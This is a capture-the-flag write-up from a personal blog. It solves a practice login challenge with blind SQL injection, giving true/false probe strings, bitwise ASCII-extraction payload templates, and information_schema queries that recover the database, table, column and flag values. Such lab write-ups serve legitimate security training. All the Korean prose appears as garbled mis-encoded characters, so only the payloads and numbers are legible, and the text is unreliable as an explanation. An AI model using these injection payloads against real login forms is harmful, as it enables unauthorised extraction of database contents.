Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (SQLi) - SQL Injection 6

Gearvirus(junyup2) 2023. 12. 7. 16:01

[SegFault] (SQLi)

SQL Injection 6

Flag Find

๋ฌธ์ œ ํŒŒ์•…

์œ„์˜ ํŽ˜์ด์ง€์— ๋“ค์–ด๊ฐ€๋ฉด ์•„๋ž˜๊ณผ ๊ฐ™์€ ์ฐฝ์ด ๋‚˜์˜จ๋‹ค.

์šฐ์„  ์ฃผ์–ด์ง„ ๊ณ„์ • ์ •๋ณด๋กœ ๋กœ๊ทธ์ธ ํ•ด๋ณด์ž.

๊ณ„์ • ์ •๋ณด : normaltic / 1234

 

๋กœ๊ทธ์ธ ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŽ˜์ด์ง€๋กœ ๋„˜์–ด๊ฐ„๋‹ค.

๋กœ๊ทธ์ธ ํ›„์— ๋ดค์„๋•Œ ๋”ฑํžˆ ์ž…๋ ฅ ๋ถ€๋ถ„์ด ๋ณด์ด์ง€ ์•Š๋Š”๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด ๋กœ๊ทธ์ธ ์ฐฝ์—์„œ SQL Injection์ด ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•ด๋ณด์ž.

 

SQL Injection ๊ฐ€๋Šฅ ์—ฌ๋ถ€

'and'1'='1 ์„ ๋„ฃ์–ด์ค€ ์ƒํƒœ๋กœ๋„ ์ •์ƒ ๋™์ž‘ํ•˜๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

normaltic'and'1'='1 / 1234

์œ„์˜ id / pw๋กœ๋„ ๋กœ๊ทธ์ธ ๋˜๋Š”์ง€ ํ™•์ธํ•œ ๊ฒฐ๊ณผ ์ •์ƒ์ ์œผ๋กœ ๋กœ๊ทธ์ธ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ–ˆ๋‹ค.

๋ณธ ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๊ฐ€ ๋…ธ์ถœ๋˜๋Š” ๊ฒƒ๋„ ์•„๋‹ˆ์—ˆ๊ณ , ์ž˜๋ชป๋œ ์ž…๋ ฅ์˜ ๊ฒฝ์šฐ์— ํ•œํ•˜์—ฌ Incorrect Information์ด๋ผ๋Š” ์•Œ๋ฆผ์ด ๋‚˜์˜ฌ ๋ฟ์ด์—ˆ๋‹ค.

์ด๋Ÿฐ ๊ฒฝ์šฐ์—๋Š” Blind SQL Injection ์ง„ํ–‰ ์ ˆ์ฐจ(Process)์— ๋”ฐ๋ผ ์ง„ํ–‰ํ•œ๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

1. SQL Injection Point ์ฐพ๊ธฐ

Blind SQL Injection์˜ ๊ฒฝ์šฐ, ์ฐธ๊ณผ ๊ฑฐ์ง“์˜ ๊ฒฐ๊ณผ๊ฐ€ ๋‘˜๋‹ค ์ฐพ์•„์ ธ์•ผํ•˜๊ณ , ์„œ๋กœ ๋‹ฌ๋ผ์•ผํ•œ๋‹ค.

์ฆ‰, ์ฐธ์€ ์ฐธ์ด๋ผ๋Š” ๊ฒฐ๊ณผ๊ฐ€, ๊ฑฐ์ง“์€ ๊ฑฐ์ง“์ด๋ผ๋Š” ๊ฒฐ๊ณผ๊ฐ€ ๊ฐ๊ฐ ๋‚˜์™€์•ผํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

์œ„์—์„œ ์ฐธ์ธ ๊ฐ’์— ๋Œ€ํ•˜์—ฌ๋Š” ํ™•์ธํ•˜์˜€์ง€๋งŒ Burp๋กœ ๋‹ค์‹œ ํ™•์ธํ•ด๋ณธ๋‹ค.

normaltic'and'1'='1 / 1234

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜๊ณ  Incorrect๋ฅผ ๊ฒ€์ƒ‰ํ•œ ๊ฒฐ๊ณผ 0 matches ๊ฐ€ ๋‚˜์˜จ๋‹ค.

๊ฑฐ์ง“์ธ ๊ฐ’์— ๋Œ€ํ•˜์—ฌ๋Š” 'and'1'='2์™€ ๊ฐ™์ด ๊ฑฐ์ง“์ธ ๊ฐ’์„ ๋ถ™์—ฌ ๋„ฃ์šฐ์ฃผ๊ณ  ํ™•์ธํ•œ๋‹ค.

normaltic' and '1'='2

๊ฑฐ์ง“์— ๋Œ€ํ•œ ๊ฒฐ๊ณผ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ฒฝ๊ณ  ๋ฉ”์‹œ์ง€๊ฐ€ ๋œจ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

Burp ๋กœ ํ™•์ธํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

Incorrect๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋Š” ๊ฒฐ๊ณผ ๊ฑฐ์ง“์ธ ๊ฐ’์ด๋ฏ€๋กœ Incorrect Information์ด ๊ฒ€์ƒ‰๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

2. SELECT ๋ฌธ๊ตฌ๊ฐ€ ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธํ•˜๊ธฐ

normaltic' and ((select 'test') = 'test') and '1'='1

์œ„์™€ ๊ฐ™์€ ๊ตฌ๋ฌธ์„ ์ด์šฉํ•˜์—ฌ ํ•ด๋‹น ๊ฐ’์ด ์ฐธ์ธ์ง€ ํ™•์ธํ•˜์—ฌ SELECT ๋ฌธ์„ ์‚ฝ์ž…ํ•ด๋„ ๋ฌธ์ œ๊ฐ€ ์—†๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

์„ฑ๊ณต์ ์œผ๋กœ ๋กœ๊ทธ์ธ๋˜๋ฏ€๋กœ SELECT๋ฌธ์ด ์‚ฝ์ž… ๊ฐ€๋Šฅํ•œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

3. ๊ณต๊ฒฉ Format ์ž‘์„ฑํ•˜๊ธฐ

Blind SQL Injection์˜ ๊ณต๊ฒฉ Format์€ 2๊ฐ€์ง€ ๋ฐฉ์‹์„ ์ƒ๊ฐํ•ด ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

์ด์ง„ ํƒ์ƒ‰ ๊ธฐ๋ฐ˜

normaltic' and (ascii(substr((__SQL__),๋ฌธ์ž ์œ„์น˜,1)) > ASCII ๊ฐ’) and '1'='1

ASCII ๊ฐ’ ์ž์ฒด๋ฅผ ๋„ฃ์–ด์„œ ๋น„๊ตํ•œ๋‹ค.

๋…ผ๋ฆฌ ์—ฐ์‚ฐ ๊ธฐ๋ฐ˜

normaltic' and ascii(substr((__SQL__,๋ฌธ์ž ์œ„์น˜,1))&n=n#

๋…ผ๋ฆฌ ์—ฐ์‚ฐ์„ ํ†ตํ•ด n = 1, 2, 4, 8, 16, 32, 64 ์— ๋Œ€ํ•œ ๊ฐ’(์ด์ง„ ๊ฐ’)์„ ๊ฐ๊ฐ ํ™•์ธํ•˜๊ณ  ์ฐธ์ธ ๊ฐ’์— ๋Œ€ํ•œ ํ•ฉ์˜ ๊ฒฐ๊ณผ๋ฅผ ๋„์ถœํ•œ๋‹ค.

๋ณธ ๋ฌธ์ œ์—์„œ๋Š” ๋…ผ๋ฆฌ์—ฐ์‚ฐ ๋ฐฉ์‹์„ ์ด์šฉํ•  ๊ฒƒ์ด๋‹ค.

(๋ฌธ์ž ์œ„์น˜๋Š” 1๋ถ€ํ„ฐ)

 

4. DB ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

1,2,16,32,64 = 115 → s
1,16,32,64 = 113 → q
4,8,32,64 = 108 → l
1,8,32,64 = 105 → i
1,2,4,8,16,64 = 95 → _
1,2,16,32 = 51 → 3
0 → NULL

DB์˜ ์ด๋ฆ„์€ sqli_3 ๋กœ ํ™•์ธ๋˜์—ˆ๋‹ค.

 

5. Table ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

TABLE ์ด๋ฆ„์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•œ ์ฟผ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

select table_name from information_schema.tables where table_schema = 'sqli_3' limit 0,1

์œ„์˜ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์— ๋‹ด์•„ ํ™•์ธํ•ด๋ณธ๋‹ค.

normaltic' and ascii(substr((select table_name from information_schema.tables where table_schema = 'sqli_3' limit 0,1),1,1))&1=1#

์—ฌ๊ธฐ๋ถ€ํ„ฐ๋Š” ๋…ธ๊ฐ€๋‹ค์— ๊ฐ€๊นŒ์šฐ๋ฏ€๋กœ ๊ฐ„๋žตํ™” ํ•˜์—ฌ ๊ฒฐ๊ณผ๋งŒ ์ž‘์„ฑํ•˜๋ ค ํ•œ๋‹ค. ์ถ”ํ›„์— python ์ž๋™ํ™” ์ฝ”๋“œ๋ฅผ ์ด์šฉํ•œ ๋ฐฉ์‹์œผ๋กœ ์ถ”๊ฐ€์ ์œผ๋กœ ์ •๋ฆฌํ•˜๋„๋ก ํ•  ๊ฒƒ์ด๋‹ค.

102 / 108 / 97 / 103 / 95 / 116 / 97 / 98 / 108 / 101 / 0
flag_table

 

6. Column ์ด๋ฆ„ ํ™•์ธํ•˜๊ธฐ

COLUMN ์ด๋ฆ„์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•œ ์ฟผ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1

์œ„์˜ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์— ๋‹ด์•„ ํ™•์ธํ•ด๋ณธ๋‹ค.

normaltic' and ascii(substr((select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1),1,1))&1=1#

๊ทธ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

102 / 108 / 97 / 103 / 0
flag

 

7. Data ์ฐพ๊ธฐ

DATA ์ด๋ฆ„ ํ™•์ธ์„ ์œ„ํ•œ ์ฟผ๋ฆฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

select flag from flag_table limit 0,1
115 / 101 / 103 / 102 / 97 / 117 / 108 / 116 / 123 / 66 / 108 / 105 / 110 / 100 / 95 / 83 / 81 / 76 / 105 / 95 / 69 / 65 / 83 / 89 / 125 / 0 
segfault{_______________}

์œ„์˜ ๊ฒฐ๊ณผ ์ทจํ•ฉ์„ ํ†ตํ•ด flag ํš๋“์— ์„ฑ๊ณตํ•˜์˜€๋‹ค.

๊ฒฐ๊ณผ์ ์œผ๋กœ Blind SQLi ๋ฅผ ํ†ตํ•ด flag ํš๋“์— ์„ฑ๊ณตํ•˜์˜€๋‹ค.


์ƒ๊ฐํ•ด๋ณผ ์ 

Union SQLi ์™€ Error Based SQLi์˜ ๊ฒฝ์šฐ ํ™”๋ฉด์— ํ•ด๋‹น ๊ฐ’์ด ๋…ธ์ถœ๋˜์–ด ํ™•์ธ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

ํ•˜์ง€๋งŒ Blind SQLi์˜ ๊ฒฝ์šฐ ์ฐธ / ๊ฑฐ์ง“์„ ํ†ตํ•˜์—ฌ ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜๋Š” ์žˆ์ง€๋งŒ, ์‹ค์ œ๋กœ ๋…ธ์ถœ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์— ๋…ธ๊ฐ€๋‹ค์„ฑ์ด ์ง™๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ ๋”๋”์šฑ python์„ ์ด์šฉํ•œ ์ž๋™ํ™”์˜ ํ•„์š”์„ฑ์„ ๋Š๋ผ๊ฒŒ ๋œ๋‹ค.

python์„ ์ด์šฉํ•œ ์ž๋™ํ™” ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑ ํ•ด๋ณด๊ณ  ์ •๋ฆฌํ•˜๋„๋ก ํ•ด์•ผ๊ฒ ๋‹ค.

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜